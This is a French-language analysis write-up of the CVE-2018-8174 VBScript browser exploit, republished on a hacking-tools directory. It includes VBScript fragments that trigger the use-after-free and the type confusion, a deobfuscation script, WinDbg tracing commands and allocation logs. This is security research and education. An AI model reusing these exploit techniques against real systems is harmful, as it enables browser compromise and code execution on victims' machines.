Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2018-8174_analysis — Analyse de l'exploit VBS CVE-2018-8174 | Kitploit
Outils/GitHubGitHub/piotrflorczyk/cve-2018-8174_analysis
Criminalistique MémoireAnalyse des VulnérabilitésExploitationRétro-ingénierieApprentissage et ÉducationExploitation de Binaires
GitHubpiotrflorczyk/cve-2018-8174_analysis

cve-2018-8174_analysis

Analyse de l'exploit VBS CVE-2018-8174

Voir le dépôt
301419il y a 8 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Dissection d'un exploit de navigateur moderne : étude de cas du CVE-2018-8174

Vue d'ensemble

Lorsque cet exploit est apparu pour la première fois à la charnière d'avril et de mai, il a piqué mon intérêt, car malgré une forte obfuscation, la structure du code semblait bien organisée et le code d'exploitation de la vulnérabilité suffisamment petit pour simplifier l'analyse. J'ai téléchargé le POC depuis github et j'ai décidé que ce serait un bon candidat pour examiner son fonctionnement interne. À cette époque, deux analyses avaient déjà été publiées, la première par 360 et la seconde par Kaspersky. Toutes deux m'ont aidé à comprendre son fonctionnement, mais ne suffisaient pas à comprendre en profondeur chaque aspect de l'exploit. C'est pourquoi j'ai décidé de l'analyser moi-même et de partager mes conclusions.

Prétraitement

Tout d'abord, afin de supprimer l'obfuscation des entiers, j'ai utilisé une substitution par regex dans un script python :

import re
def process(matchobj):
	line = matchobj.group(1)
	line = line.lower().replace('&h', '0x')
	return str(eval(line))			# extremly safe :) 

data = open('analysis.vbs', 'r').read()	
result = re.sub('\((&h[^\)]+)\)', process, data)
open('result.vbs', 'w').write(result)

En ce qui concerne les noms obfusqués, je les ai renommés progressivement au cours de l'analyse. Cette analyse est mieux lue avec le code source dont le lien se trouve à la fin.

Use after free

La vulnérabilité se produit lorsque l'objet est détruit et que la fonction personnalisée Class_Terminate() est appelée. Dans cette fonction, une référence à l'objet en cours de libération est enregistrée dans UafArray. Désormais, UafArray(i) fait référence à l'objet supprimé.

Class ClassTerminateA
Private Sub Class_Terminate()
	Set UafArrayA(UafCounter)=FreedObjectArray(1)
	UafCounter=UafCounter+1
	FreedObjectArray(1)=1	' fix ref counter
End Sub
End Class
...
UafCounter=0	
For idx=0 To 6
	ReDim FreedObjectArray(1)
	Set FreedObjectArray(1)=New ClassTerminateA
	Erase FreedObjectArray
Next

Remarquez également la dernière ligne dans Class_Terminate(). Lorsque nous copions l'objet ClassTerminate dans UafArray, son compteur de références est incrémenté. Pour compenser, nous le libérons à nouveau en assignant une autre valeur à FreedObjectArray. Sans cela, la mémoire de l'objet ne serait pas libérée malgré l'appel à Class_Terminate sur celui-ci, et l'objet suivant ne serait pas alloué à sa place.

Méthode VBScriptClass::Release

La création et la suppression de nouveaux objets est répétée 7 fois dans une boucle, après quoi un nouvel objet de classe ReuseClass est créé. Il est alloué dans la même mémoire qui était auparavant occupée par les 7 instances ClassTerminate. Pour mieux comprendre cela, voici un script WinDbg simple qui suit toutes ces allocations :

bp vbscript!VBScriptClass::TerminateClass ".printf \"Class %mu at %x, terminate called\\n\", poi(@ecx + 0x24), @ecx; g";
bp vbscript!VBScriptClass::Release ".printf \"Class %mu at: %x ref counter, release called: %d\\n\", poi(@eax + 0x24), @ecx, poi(@eax + 0x4); g";
bp vbscript!VBScriptClass::Create+0x55 ".printf \"Class %mu created at %x\\n\", poi(@esi + 0x24), @esi; g";

Voici le journal d'allocation de la fonction UafTrigger :

Class EmptyClass created at 3a7d90
Class EmptyClass created at 3a7dc8
...
Class ReuseClass created at 22601a0
Class ReuseClass created at 22601d8
Class ReuseClass created at 2260210
...
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 22605c8
...
Class ClassTerminateB created at 2260600
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 1
Class ClassTerminateB at 2260600, terminate called
Class ClassTerminateB at: 70541748 ref counter, release called: 5
Class ClassTerminateB at: 70541748 ref counter, release called: 4
Class ClassTerminateB at: 70541748 ref counter, release called: 3
Class ClassTerminateB at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 2260600

Nous pouvons immédiatement voir que ReuseClass est effectivement allouée dans la même mémoire qui avait été assignée aux 7 instances précédentes de ClassTerminate. Ceci est répété deux fois. Nous nous retrouvons avec deux objets référencés par UafArrays. Aucune de ces références n'est reflétée dans le compteur de références de l'objet. Dans ce journal, nous pouvons également remarquer que même après l'appel à Class_Terminate, certaines manipulations d'objet modifient son compteur de références. C'est pourquoi, si nous ne compensions pas ce compteur dans Class_Terminate, nous obtiendrions quelque chose comme ceci :

Class ClassTerminateA created at 2240708
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 1
Class ClassTerminateA at 2240708, terminate called
Class ClassTerminateA at: 6c161748 ref counter, release called: 5
Class ClassTerminateA at: 6c161748 ref counter, release called: 4
Class ClassTerminateA at: 6c161748 ref counter, release called: 3
Class ReuseClass created at 2240740

Des adresses d'allocation différentes. L'exploit ne parviendrait pas à créer la condition use after free.

Confusion de type

Ayant créé ces deux objets avec 7 références non comptabilisées pour chacun, nous avons établi une primitive de lecture arbitraire de la mémoire. Il existe deux classes similaires, ReuseClass et FakeReuseClass. En remplaçant la première classe par la seconde, une confusion de type sur le membre mem se produit.

Class ReuseClass
Dim mem
Function P
End Function
Function SetProp(Value)
	mem=Value				' will actually call Default Poperty Get
	SetProp=0
End Function
End Class

Class FakeReuseClass
Dim mem
Function ReadBstrValll
	ReadBstrValll=LenB(mem(some_memory+8))
End Function
Function Q
End Function
End Class
Télécharger l’outil